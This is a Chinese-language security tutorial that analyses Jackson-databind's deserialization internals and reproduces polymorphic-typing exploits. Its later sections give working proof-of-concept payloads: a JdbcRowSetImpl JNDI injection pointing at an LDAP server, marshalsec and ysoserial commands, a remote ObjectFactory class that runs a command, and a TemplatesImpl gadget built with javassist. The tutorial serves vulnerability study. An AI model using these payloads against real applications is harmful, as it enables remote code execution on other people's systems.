在上篇《JavaSec FastJson反序列化漏洞利用原理》中介绍了FastJson的基本使用与及fastjson在解析json串还原对象状态的逻辑及其中的利用点,而FastJson的修复方式也是仅仅加一些黑名单限制和一些字符处理,但都有绕过的方式,在苦于FastJson的漏洞修复,在国外使用Jackson人数还是很多的,都是json的解析库,工作的原理大同小异,漏洞利用点也差不多。
这里将介绍
1.Jackson的基本使用
2.Jackson的反序列过程与利用点分析
3.Jackson的利用方式总结
一、Jackson基本使用
还是以Fastjson的User demo介绍Jackson的基本使用
User.java
:javaBean
package com.thonsun.demo01;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/26 21:48
**/
public class User {
private String name;
private int age;
public Flag flag;
public User(String name, int age, Flag flag) {
System.out.println("user constructor called");
this.name = name;
this.age = age;
this.flag = flag;
}
public User() {
System.out.println("user default constructor called");
}
public String getName() {
System.out.println("user getName called");
return name;
}
public void setName(String name) {
System.out.println("user setName called");
this.name = name;
}
public int getAge() {
System.out.println("user getAge called");
return age;
}
public void setAge(int age) {
System.out.println("user setAget called");
this.age = age;
}
public Flag getFlag() {
System.out.println("user getFlag called");
return flag;
}
public void setFlag(Flag flag) {
System.out.println("user setFlag called");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
'}';
}
}
class Flag {
public String value;
@Override
public String toString() {
return "Flag{" +
"value='" + value + '\'' +
'}';
}
public String getValue() {
System.out.println("flag getValue called");
return value;
}
public void setValue(String value) {
System.out.println("flag setValue called");
this.value = value;
}
public Flag(String value) {
System.out.println("flag constructor called");
this.value = value;
}
public Flag() {
System.out.println("flag default constructor called");
}
}
TestUser.java
:测试类
package com.thonsun.demo01;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.junit.Test;
import java.io.IOException;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/26 21:57
**/
public class TestUser {
@Test
public void testUser() throws IOException {
Flag flag = new Flag("flag{xxxxxx}");
User user = new User("thonsun", 22, flag);
ObjectMapper objectMapper = new ObjectMapper();
System.out.println("==start serialize==");
String s = objectMapper.writeValueAsString(user);
System.out.println("==start deserialize==");
User user1 = objectMapper.readValue(s, User.class);
}
}
运行结果:
和Fastjson在序列化和反序列化差别不大,主要通过getXX获取字段值序列化 与 默认构造器+setXX反序列化还原对象。
Jackson只支持对象的public属性或者有对象getter方法的属性序列化,即protected,private,final,static等属性将不会序列化到json串中,这是JavaBean的向后兼容使然。即Jackson在序列化的时候优先通过getXXX方法获取属性,如果没有则判断该属性是否public访问,是则通过反射获取该属性值。该兴趣可以改demo程序成员属性与getter方法调试。
二、Jackson反序列化分析
jackson对多态的支持通过 objectMapper.enableDefaultTyping()
提供支持;在应用开发中,一个Java对象成员往往使用多态,标识这个成员可能是一个抽象接口,抽象类或者父类,若没有对这个字段标识是哪个具体实现类,json在解析无法找到改成员的class进行实例化,在多态上Fastjson是不支持的。
对上面的例子进行改造
定义接口FlagHandler
package com.thonsun.demo02;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/26 22:24
**/
public interface FlagHandler {
}
实现接口Flag
package com.thonsun.demo02;
/**
* @Project: test-poc
* @Desc:
* @Author: thonsun
* @Create: 2020/12/26 22:24
**/
public class Flag implements FlagHandler {
public String value;
@Override
public String toString() {
return "Flag{" +
"value='" + value + '\'' +
'}';
}
public String getValue() {
System.out.println("flag getValue called");
return value;
}
public void setValue(String value) {
System.out.println("flag setValue called");
this.value = value;
}
public Flag(String value) {
System.out.println("flag constructor called");
this.value = value;
}
public Flag() {
System.out.println("flag default constructor called");
}
}
User
package com.thonsun.demo02;
/**
* @Project: test-poc
* @Desc: jackson 多态支持
* @Author: thonsun
* @Create: 2020/12/26 22:23
**/
public class User {
private String name;
private int age;
private FlagHandler flag;;
public User(String name, int age, FlagHandler flag) {
System.out.println("user constructor called");
this.name = name;
this.age = age;
this.flag = flag;
}
public User() {
System.out.println("user default constructor called");
}
public String getName() {
System.out.println("user getName called");
return name;
}
public void setName(String name) {
System.out.println("user setName called");
this.name = name;
}
public int getAge() {
System.out.println("user getAge called");
return age;
}
public void setAge(int age) {
System.out.println("user setAget called");
this.age = age;
}
public FlagHandler getFlag() {
System.out.println("user getFlag called");
return flag;
}
public void setFlag(FlagHandler flag) { //都是通过接口标识
System.out.println("user setFlag called");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
'}';
}
}
没有开启多态支持
开启多态支持
可以看到序列化的成员Flag变为数组的形式,下标为0标记着该对象的类,1为具体的值。
看到这里可以联系到Fastjson的autoType机制,所以Jackson的漏洞利用与Fastjson的漏洞利用大同小异,可以总结的一个
1.Jackson 开启 Defualt Type支持
2.服务端classpath存在可以利用的类,如
com.sun.rowset.JdbcRowSetImpl
,target 类满足setXX可控触发JDNI注入利用。
一点思考:
结合Fastjson与Jackson的漏洞利用,对比Java的反序列化,他们的共同点都是从输入的字节流中还原一个对象的状态,当Java反序列的字节流规范中,序列化的数据不仅仅保存了每一个成员变量的值(状态),也记录的这个成员变量的类型(如TC_OBJECT);所以Java的反序列漏洞利用可以通过寻找readObject函数(Target类与内部成员类的readObject)里用到的成员变量的gadget 达成利用的目的,可以通过成员变量的值控制(如Fastjson,Jackson这种JDNI注入利用 JdbcRowSetImple);Json的反序列是不论是Fastjson还是Jackson,都限定了从某一个类的constructor默认参数实例化(如Fastjson的的autotype,Jackson在parseObject传入的Target.Class),通过getter or setter方法给成员对象赋值还原对象,利用的仅仅是这个Taget类与Target类的成员的setter or getter方法(这是一个递归的解析还原JSON串)。
下面是具体的调试分析jackson解析json串还原对象状态逻辑,默认开启defaultTyping
jackson-databind 2.8.8
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.8.8</version>
</dependency>
1.objectMapper#readValue
public <T> T readValue(String content, Class<T> valueType)
throws IOException, JsonParseException, JsonMappingException
{
return (T) _readMapAndClose(_jsonFactory.createParser(content), _typeFactory.constructType(valueType));
}
_typeFactory.constructType(valueType)
: 通过传⼊的第⼆个参数,即Target类对象获取⼀个Type对象,这⾥不会细跟,主要简单说下他的流程。它⾸先⾸先会从缓存尝试获取该Class对应的Type,缓存中有这个数据的前提是,这个objectMapper前有对这个Class进⾏过序列化,之后会经过⼀系列的判断,这些判断包括判断它的Class是否属于某些特殊的Class(Map,Collection,AtomicReference)以及判断这个Class是否是Interface,这些判断在我上⾯的代码中都不成⽴,最终会通过 _newSimpleType ⽅法来创建⼀个Type对象。
获取到的Type: 主要记录了类Class,superClass等信息
_jsonFactory.createParser(content)
: 将String生成一个Paser对象,用于后面的解析
_readMapAndClose
:
2.objectMapper#_readMapAndClose(Paser,Type):
从paser(json串的生成,封装了对字符串的处理,即单词的提取这些,返回解析的Token标识) 获取第一个Token,Token的列表
NOT_AVAILABLE((String)null, -1),
START_OBJECT("{", 1),
END_OBJECT("}", 2),
START_ARRAY("[", 3),
END_ARRAY("]", 4),
FIELD_NAME((String)null, 5),
VALUE_EMBEDDED_OBJECT((String)null, 12),
VALUE_STRING((String)null, 6),
VALUE_NUMBER_INT((String)null, 7),
VALUE_NUMBER_FLOAT((String)null, 8),
VALUE_TRUE("true", 9),
VALUE_FALSE("false", 10),
VALUE_NULL("null", 11);
这里进入START_OBJECT的解析,标识开始解析还原一个对象,要还原一个对象要获取这个JSON串对应的Deserializer,最终调用Deserializer#deserilize还原对象:
createDeserializationContext
依据配置和json串对应的paser获取上下文context,这些信息包括,这些用于解析
_findRootDeserializer
依据Json串上下文和 Json 类型信息最终返回 JSON对应的Deserializer,可用与后面调用deserial方法从json串中还原对象,在后面的分析可以知道,实际是调用setter | getter | 反射对默认构造器获得的对象赋值。 这个方法才是重点,简述了后面为什么有些利用链利用的是getter 方法。
1._findRootDeserializer
在 _findRootDeserializer
⽅法中,会尝试从根节点去获取 Deserializer ,类似于缓存的操作,由于这是第⼀次获取 Deserializer ,所以⾃然从根节点是取不到的
它会进⼊到 findRootValueDeserializer
⽅法中获取Deserializer 。
2.findRootValueDeserializer
该⽅法会从尝试从缓存中获取 Deserializer ,这⾥的获取⽅式有点不同了,它不是单纯的从个map中去调⽤get⽅法获取,⽽是会经过⼀系列很复杂的获取⽅式后,判断是否获取到了,如果获取不到,会调⽤ _createAndCacheValueDeserializer
去创建⼀个 Deserializer 并对其进⾏缓存。最后会通过buildBeanDeserializer ⽅法创建⼀BeanDeserializer (因为前⾯的⼀系列判断都不满⾜,⽐如判断Type的类型,如判断是不是Enum,Container,Reference等)
并通过下⾯⼏个⽅法来为创建好的 BeanDeserializer 对象赋值
3.addBeanProps
主要的逻辑在于解决字段与setter | getter | 反射的绑定,用于后面解析json串还原对象。
先贴上代码
protected void addBeanProps(DeserializationContext ctxt,
BeanDescription beanDesc, BeanDeserializerBuilder builder)
throws JsonMappingException
{
final boolean isConcrete = !beanDesc.getType().isAbstract();
final SettableBeanProperty[] creatorProps = isConcrete
? builder.getValueInstantiator().getFromObjectArguments(ctxt.getConfig())
: null;
final boolean hasCreatorProps = (creatorProps != null);
// 01-May-2016, tatu: Which base type to use here gets tricky, since
// it may often make most sense to use general type for overrides,
// but what we have here may be more specific impl type. But for now
// just use it as is.
JsonIgnoreProperties.Value ignorals = ctxt.getConfig()
.getDefaultPropertyIgnorals(beanDesc.getBeanClass(),
beanDesc.getClassInfo());
Set<String> ignored;
if (ignorals != null) {
boolean ignoreAny = ignorals.getIgnoreUnknown();
builder.setIgnoreUnknownProperties(ignoreAny);
// Or explicit/implicit definitions?
ignored = ignorals.getIgnored();
for (String propName : ignored) {
builder.addIgnorable(propName);
}
} else {
ignored = Collections.emptySet();
}
// Also, do we have a fallback "any" setter?
AnnotatedMethod anySetterMethod = beanDesc.findAnySetter();
AnnotatedMember anySetterField = null;
if (anySetterMethod != null) {
builder.setAnySetter(constructAnySetter(ctxt, beanDesc, anySetterMethod));
}
else {
anySetterField = beanDesc.findAnySetterField();
if(anySetterField != null) {
builder.setAnySetter(constructAnySetter(ctxt, beanDesc, anySetterField));
}
}
// NOTE: we do NOT add @JsonIgnore'd properties into blocked ones if there's any-setter
// Implicit ones via @JsonIgnore and equivalent?
if (anySetterMethod == null && anySetterField == null) {
Collection<String> ignored2 = beanDesc.getIgnoredPropertyNames();
if (ignored2 != null) {
for (String propName : ignored2) {
// allow ignoral of similarly named JSON property, but do not force;
// latter means NOT adding this to 'ignored':
builder.addIgnorable(propName);
}
}
}
final boolean useGettersAsSetters = ctxt.isEnabled(MapperFeature.USE_GETTERS_AS_SETTERS)
&& ctxt.isEnabled(MapperFeature.AUTO_DETECT_GETTERS);
// Ok: let's then filter out property definitions
List<BeanPropertyDefinition> propDefs = filterBeanProps(ctxt,
beanDesc, builder, beanDesc.findProperties(), ignored);
// After which we can let custom code change the set
if (_factoryConfig.hasDeserializerModifiers()) {
for (BeanDeserializerModifier mod : _factoryConfig.deserializerModifiers()) {
propDefs = mod.updateProperties(ctxt.getConfig(), beanDesc, propDefs);
}
}
//【重要】:解析了字段与调用方法的绑定,如setter,getter,反射设置属性
// At which point we still have all kinds of properties; not all with mutators:
for (BeanPropertyDefinition propDef : propDefs) {
SettableBeanProperty prop = null;
/* 18-Oct-2013, tatu: Although constructor parameters have highest precedence,
* we need to do linkage (as per [databind#318]), and so need to start with
* other types, and only then create constructor parameter, if any.
*/
if (propDef.hasSetter()) {
JavaType propertyType = propDef.getSetter().getParameterType(0);
prop = constructSettableProperty(ctxt, beanDesc, propDef, propertyType);
} else if (propDef.hasField()) {
JavaType propertyType = propDef.getField().getType();
prop = constructSettableProperty(ctxt, beanDesc, propDef, propertyType);
} else if (useGettersAsSetters && propDef.hasGetter()) {
/* May also need to consider getters
* for Map/Collection properties; but with lowest precedence
*/
AnnotatedMethod getter = propDef.getGetter();
// should only consider Collections and Maps, for now?
Class<?> rawPropertyType = getter.getRawType();
if (Collection.class.isAssignableFrom(rawPropertyType)
|| Map.class.isAssignableFrom(rawPropertyType)) {
prop = constructSetterlessProperty(ctxt, beanDesc, propDef);
}
}
// 25-Sep-2014, tatu: No point in finding constructor parameters for abstract types
// (since they are never used anyway)
if (hasCreatorProps && propDef.hasConstructorParameter()) {
/* If property is passed via constructor parameter, we must
* handle things in special way. Not sure what is the most optimal way...
* for now, let's just call a (new) method in builder, which does nothing.
*/
// but let's call a method just to allow custom builders to be aware...
final String name = propDef.getName();
CreatorProperty cprop = null;
if (creatorProps != null) {
for (SettableBeanProperty cp : creatorProps) {
if (name.equals(cp.getName()) && (cp instanceof CreatorProperty)) {
cprop = (CreatorProperty) cp;
break;
}
}
}
if (cprop == null) {
List<String> n = new ArrayList<>();
for (SettableBeanProperty cp : creatorProps) {
n.add(cp.getName());
}
ctxt.reportBadPropertyDefinition(beanDesc, propDef,
"Could not find creator property with name '%s' (known Creator properties: %s)",
name, n);
continue;
}
if (prop != null) {
cprop.setFallbackSetter(prop);
}
prop = cprop;
builder.addCreatorProperty(cprop);
continue;
}
if (prop != null) {
Class<?>[] views = propDef.findViews();
if (views == null) {
// one more twist: if default inclusion disabled, need to force empty set of views
if (!ctxt.isEnabled(MapperFeature.DEFAULT_VIEW_INCLUSION)) {
views = NO_VIEWS;
}
}
// one more thing before adding to builder: copy any metadata
prop.setViews(views);
builder.addProperty(prop);
}
}
}
getter方法调用的条件
最终用来解析还原对象的Deserializer.deserialize 依据_hashArea的name 与 Method对应还原对象。
4.deser.deserialize
public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
{
// common case first
if (p.isExpectedStartObjectToken()) {
if (_vanillaProcessing) {
return vanillaDeserialize(p, ctxt, p.nextToken());//初始化一个对象
}
// 23-Sep-2015, tatu: This is wrong at some many levels, but for now... it is
// what it is, including "expected behavior".
p.nextToken();
if (_objectIdReader != null) {
return deserializeWithObjectId(p, ctxt);
}
return deserializeFromObject(p, ctxt);
}
return _deserializeOther(p, ctxt, p.getCurrentToken());
}
5.vanillaDeserialize
private final Object vanillaDeserialize(JsonParser p,
DeserializationContext ctxt, JsonToken t)
throws IOException
{
final Object bean = _valueInstantiator.createUsingDefault(ctxt); //默认构造器初始化对象
// [databind#631]: Assign current value, to be accessible by custom serializers
p.setCurrentValue(bean);
if (p.hasTokenId(JsonTokenId.ID_FIELD_NAME)) {
String propName = p.getCurrentName();
do {
p.nextToken();
SettableBeanProperty prop = _beanProperties.find(propName);//获取字段的设置方法
if (prop != null) { // normal case
try {
prop.deserializeAndSet(p, ctxt, bean);//调用初始化字段,调用每个properties对应的方法
} catch (Exception e) {
wrapAndThrow(e, bean, propName, ctxt);
}
continue;
}
handleUnknownVanilla(p, ctxt, bean, propName);
} while ((propName = p.nextFieldName()) != null);
}
return bean;
}
字段的赋值在 SettableBeanProperty.deserializeAndSet()
: 不同的 SettableBeanProperty 有不同的行为
如
1.MethodProperty通过反射调用bean的setter方法
public void deserializeAndSet(JsonParser p, DeserializationContext ctxt,
Object instance) throws IOException
{
Object value = deserialize(p, ctxt);
try {
_setter.invoke(instance, value);
} catch (Exception e) {
_throwAsIOE(p, e, value);
}
}
2.FieldProperty通过反射设置Bean的值
public void deserializeAndSet(JsonParser p,
DeserializationContext ctxt, Object instance) throws IOException
{
Object value = deserialize(p, ctxt);
try {
_field.set(instance, value);
} catch (Exception e) {
_throwAsIOE(p, e, value);
}
}
这里的deserialize 会判断是否开启了 Default Typing ,如果开启了该属性则使⽤ deserializeWithType ⽅法获取值,反之使⽤ deserialize ⽅法获取值 。
三、Jackson类加载利用
3.1 ysoserial快速生成
1.生成利用链代码(Exploit Class 字节码,通过Class.loadClass)
java -jar ysoserial.jar CommonsCollections1 notepad.exe |base64
#验证
java -jar ysoserial.jar CommonsCollections1 notepad.exe >poc.bin
java -cp ysoserial.jar ysoserial.Deserializer poc.bin
2.marshalsec 快速搭建LDAP|RMI服务
java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.58.131:8080/#ExecTest 1099
3.2 JNDI注入利用
举Fastjson同样的利用链 com.sun.rowset.JdbcRowSetImpl说明存在Jackson反序列化漏洞的JNDI注入利用,涉及的有
- RMI Reference JNDI注入利用
- LDAP JNDI注入利用
- CORBA JNDI注入利用
关于他们的纤细解析可以看《JavaSec JNDI注入利用分析》
package com.thonsun.demo03;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.junit.Test;
import java.io.IOException;
/**
* @Project: test-poc
* @Desc: 测试利用链
* @Author: thonsun
* @Create: 2020/12/26 23:52
**/
public class TestPOC {
@Test
public void TestJdbcRowSetImpl() throws IOException {
//com.sun.rowset.JdbcRowSetImpl
//["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://192.168.8.115:1099/evil","autoCommit":"1"}]
String poc = "[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://192.168.8.115:1099/evil\",\"autoCommit\":true}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc,Object.class);
}
}
通过marshalsec 起LDAP服务,指向远程ExecTest.class 的web服务
java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.58.131:8080/#ExecTest 1099
ExecTest.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}
编译并托管
javac ExecTest.java & python -m http.server 8080
执行效果
3.3 Java反序列化
这里举com.sun.org.apache.xalan.internal.xsltc.TemplateImpl
说明在json反序列化中利用Java反序列化漏洞进行RCE的利用调用getter方法的情况。这个主要的利用对象TemplateImpl的属性 _outputProperties
在JsonBeanDeserializer 调用的是getter方法,上面debug分析Jackson的实现原理已经分析调用getter需满足(详勘addBeanProps方法):
1.没有setting方法
2.私有属性
3.getter方法返回值是Map,Collection的类型
3.3.1 利用链分析
所以这个Template利用链的过程是:
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
这里总结下过程
_outputProperties
触发getOutputProperties()
getOutputProperties()
进入newTransformer()
newTranformer()
进入getTransletInstance()
获取TransformergetTransletInstance()
由于json串中指定了_name=”xxx”,_class 为空,所以进入了 进入defineTransletClasses()
生成payload对应的Class类defineTransletClasses()
主要从json串_bytecodes属性字节码中通过ClassLoader.defineClass
定义一个类,也就是我们的利用Exploit类,这里会检查defineClass的返回值,即检查payload 加载为类的父类是否”com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet“
所以我们的payload在生成的时候要是这个(ABSTRACT_TRANSLET)类的子类- 最后回到
getTransletInstance()
函数利用defineTransletClassed()
生成的Class对象,也就是我们的利用利用,通过newInstance()
实例化,所以payload只需要放在Class的默认构造函数即可触发RCE。
3.3.2 代码分析
getOutputProperty
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//进入newTranformer()
}
catch (TransformerConfigurationException e) {
return null;
}
}
newTranformer
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//进入getTransletInstance()
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
getTransletInstance()
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
//json _name = "thonsun"
if (_name == null) return null;
//json _class = null满足
if (_class == null) defineTransletClasses();//进入 defineTransletClasses() 生成payload对应的Class类
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//实例化Payload对象,POC的代码就放在默认的构造函数中触发RCE
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
defineTransletClasses()
private void defineTransletClasses()
throws TransformerConfigurationException {
//json 串中 _bytecodes属性就是我们的payload,此时还是
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
//_bytecodes是二维数组,第一个就是payload class的字节码
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
//进入ClassLoader.defineClass(payload) 从字节码生成Class对象
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
//检查payload 加载为类的父类是否是 ”com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet“
//所以我们的payload在生成的时候要是这个(ABSTRACT_TRANSLET)类的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
3.3.3 Exploit 生成
从上面的分析可以知道Payload应该放在Class的默认构造器或者静态方法中,这里有两种生成字节码文件:
1.直接加载class文件
2.通过javassist 动态生成字节码
package com.thonsun.demo03;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
/**
* @Project: test-poc
* @Desc: 测试利用链
* @Author: thonsun
* @Create: 2020/12/26 23:52
**/
public class TestPOC {
@Test
public void TestJdbcRowSetImpl() throws IOException {
//com.sun.rowset.JdbcRowSetImpl
//["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://192.168.8.115:1099/evil","autoCommit":"1"}]
String poc = "[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://192.168.8.115:1099/evil\",\"autoCommit\":true}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc,Object.class);
}
@Test
public void TestTemplateImpl() throws IOException, CannotCompileException, NotFoundException {
//poc1
//将字节码输出,TemplateImpl loadClass 实现类的加载
FileInputStream fis = new FileInputStream("target/test-classes/com/thonsun/demo03/ExploitOne.class");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
IOUtils.copy(fis, barr);
String base64Poc = Base64.encodeBase64String(barr.toByteArray());
//poc2
//String base64Poc = Base64.encodeBase64String(getPocbyte());
final String EXPLOIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String poc = "[" +
"\"" + EXPLOIT_CLASS +"\","+
"{"+
"\"transletBytecodes\":["+
"\"" + base64Poc + "\""+
"],"+
"\"transletName\":" +"\"thonsun\","+
"\"outputProperties\":{}" +
"}"+
"]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
try {
objectMapper.readValue(poc,Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
private byte[] getPocbyte() throws CannotCompileException, NotFoundException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(TestPOC.class.getName());
//java.lang.Runtime.getRuntime().exec("calc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Thonsun" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //设置父类
return cc.toBytecode();
}
}
3.3.4 执行效果
通过JsonBeanDesierialize依据field 与 method解析json串
复现环境:
JDK 1.6u45
jsonson-databind 2.7.8
四、关于复现文章的总结:
1.复现环境
在JDK1.6u45复现成功,从源码层调试看能够成功复现的JDK版本中 TemplateImpl 实现应满足 defineTransletClasses
函数中没有调用 _tfactory.getExternalExtensionsMap()
去获取类加载器:
如JDK1.6u45实现
JDK1.7u80实现
对于使用 _tfactory.getExternalExtensionsMap()
的JDK来说,由于Jackson无法给_tfactory(私有且无getter&setter)赋值,会抛出空指针异常没有进入下面的类加载过程。
在网上找的一些博客记录Fastjson的漏洞复现就是直接给出一个payload的截图与运行结果,没有指出Payload该怎么生成与及运行成功的原理,起码给出复现的环境。所以说光看着理解是不够的,需要动手去调源码,才能加深对漏洞原理与漏洞利用的理解,发现一些限制条件。